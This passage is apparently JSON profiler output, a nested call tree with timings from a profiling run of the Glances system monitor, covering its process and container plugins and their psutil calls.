0.003228637004212942},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.003229,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003229,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"sort_docker_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000581\",\"time\": 0.001878,\"attributes\": {\"l589\": 0.0018780760001391172},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001878,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.067887,\"attributes\": {\"cProcesscountPlugin\": 0.06788738199975342, \"l85\": 0.06788738199975342},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.067887,\"attributes\": {\"cGlancesProcesses\": 0.06788738199975342, \"l617\": 0.06188827699952526, \"l647\": 0.0019990930013591424, \"l659\": 0.004000011998869013},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.061888,\"attributes\": {\"cGlancesProcesses\": 0.06188827699952526, \"l478\": 0.053888919996097684, \"l493\": 0.007999357003427576},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.047889,\"attributes\": {\"l1541\": 0.001896239999041427, \"l1558\": 0.04198816700227326, \"l1559\": 0.004004320995591115},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001896,\"attributes\": {\"l1485\": 0.001896239999041427},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001896,\"attributes\": {\"l1526\": 0.001896239999041427},\"children\": [{\"identifier\": \"bytes.isdigit\\u0000<built-in>\\u00000\",\"time\": 0.001896,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001896,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.021992,\"attributes\": {\"cProcess\": 0.021991690999129787, \"l579\": 0.015996212998288684, \"l572\": 0.0059954780008411035},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019950069981859997, \"l680\": 0.0019950069981859997},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019950069981859997, \"l1593\": 0.0019950069981859997},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019950069981859997, \"l1740\": 0.0019950069981859997},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019950069981859997, \"l1593\": 0.0019950069981859997},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019950069981859997, \"l382\": 0.0019950069981859997},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002052999159787, \"l836\": 0.002002052999159787},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002052999159787, \"l1593\": 0.002002052999159787},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002002052999159787, \"l1796\": 0.002002052999159787},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002002052999159787},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000799002824351, \"l939\": 0.004000799002824351},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000799002824351, \"l1593\": 0.004000799002824351},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000799002824351, \"l2052\": 0.004000799002824351},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000799002824351, \"l1593\": 0.004000799002824351},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000799002824351, \"l382\": 0.004000799002824351},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000799002824351, \"l1718\": 0.002003800000238698, \"l1719\": 0.001996999002585653},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002004,\"attributes\": {\"l682\": 0.002003800000238698},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971700021415018, \"l836\": 0.0019971700021415018},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971700021415018, \"l1593\": 0.0019971700021415018},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971700021415018, \"l1796\": 0.0019971700021415018},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001997,\"attributes\": {\"l682\": 0.0019971700021415018},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008129940833896, \"l382\": 0.0020008129940833896},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008129940833896, \"l1138\": 0.0020008129940833896},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008129940833896, \"l1593\": 0.0020008129940833896},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008129940833896, \"l1880\": 0.0020008129940833896},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001996,\"attributes\": {\"c_GeneratorContextManager\": 0.00199648200214142, \"l141\": 0.00199648200214142},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.00199648200214142, \"l535\": 0.00199648200214142},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.00199648200214142, \"l1730\": 0.00199648200214142},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019992759989690967, \"l148\": 0.0019992759989690967},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992759989690967, \"l539\": 0.0019992759989690967},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001999,\"attributes\": {\"l404\": 0.0019992759989690967},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.002000,\"attributes\": {\"l305\": 0.001999719999730587},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999719999730587, \"l112\": 0.001999719999730587},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l1064\": 0.002000434004003182},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002000,\"attributes\": {\"l1682\": 0.002000434004003182},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002000,\"attributes\": {\"l538\": 0.002000434004003182},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l382\": 0.0019999369978904724},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l1138\": 0.0019999369978904724},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l1593\": 0.0019999369978904724},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999369978904724, \"l1878\": 0.0019999369978904724},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019999369978904724},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.006002,\"attributes\": {\"cProcess\": 0.006001533001835924, \"l579\": 0.006001533001835924},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000282001972664, \"l382\": 0.002000282001972664},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000282001972664, \"l1138\": 0.002000282001972664},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000282001972664, \"l1593\": 0.002000282001972664},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000282001972664, \"l1878\": 0.002000282001972664},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.002000282001972664},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l939\": 0.0019998790012323298},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l1593\": 0.0019998790012323298},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l2052\": 0.0019998790012323298},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l1593\": 0.0019998790012323298},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l382\": 0.0019998790012323298},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998790012323298, \"l1718\": 0.0019998790012323298},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019998790012323298},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013719986309297, \"l680\": 0.0020013719986309297},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013719986309297, \"l1593\": 0.0020013719986309297},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013719986309297, \"l1740\": 0.0020013719986309297},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013719986309297, \"l1593\": 0.0020013719986309297},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013719986309297, \"l382\": 0.0020013719986309297},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020013719986309297, \"l1689\": 0.0020013719986309297},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.013995,\"attributes\": {\"cProcess\": 0.013994943001307547, \"l572\": 0.003994370010332204, \"l579\": 0.010000572990975343},\"children\": [{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001995,\"attributes\": {\"c_GeneratorContextManager\": 0.0019950800051447004, \"l148\": 0.0019950800051447004},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.0019950800051447004, \"l505\": 0.0019950800051447004},\"children\": [{\"identifier\": \"RLock.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199942499602912, \"l836\": 0.00199942499602912},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199942499602912, \"l1593\": 0.00199942499602912},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199942499602912, \"l1796\": 0.00199942499602912},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.00199942499602912},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.001999290005187504, \"l141\": 0.001999290005187504},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999290005187504, \"l535\": 0.001999290005187504},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999290005187504, \"l1730\": 0.001999290005187504},\"children\": [{\"identifier\": \"cache_activate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000393\",\"time\": 0.001999,\"attributes\": {\"l397\": 0.001999290005187504},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020025679987156764, \"l939\": 0.0020025679987156764},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020025679987156764, \"l1593\": 0.0020025679987156764},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020025679987156764, \"l2052\": 0.0020025679987156764},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020025679987156764, \"l1593\": 0.0020025679987156764},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020025679987156764, \"l382\": 0.0020025679987156764},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020025679987156764, \"l1719\": 0.0020025679987156764},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971489964518696, \"l681\": 0.0019971489964518696},\"children\": [{\"identifier\": \"len\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011209999211133, \"l836\": 0.0020011209999211133},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011209999211133, \"l1593\": 0.0020011209999211133},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020011209999211133, \"l1796\": 0.0020011209999211133},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.0020011209999211133},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003099998575635, \"l382\": 0.0020003099998575635},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003099998575635, \"l1138\": 0.0020003099998575635},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003099998575635, \"l1593\": 0.0020003099998575635},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003099998575635, \"l1878\": 0.0020003099998575635},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.004001,\"attributes\": {\"l1558\": 0.004001467998023145},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001467998023145, \"l578\": 0.004001467998023145},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999357003427576, \"l639\": 0.007999357003427576},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007999,\"attributes\": {\"cProcess\": 0.007999357003427576, \"l314\": 0.007999357003427576},\"children\": [{\"identifier\": 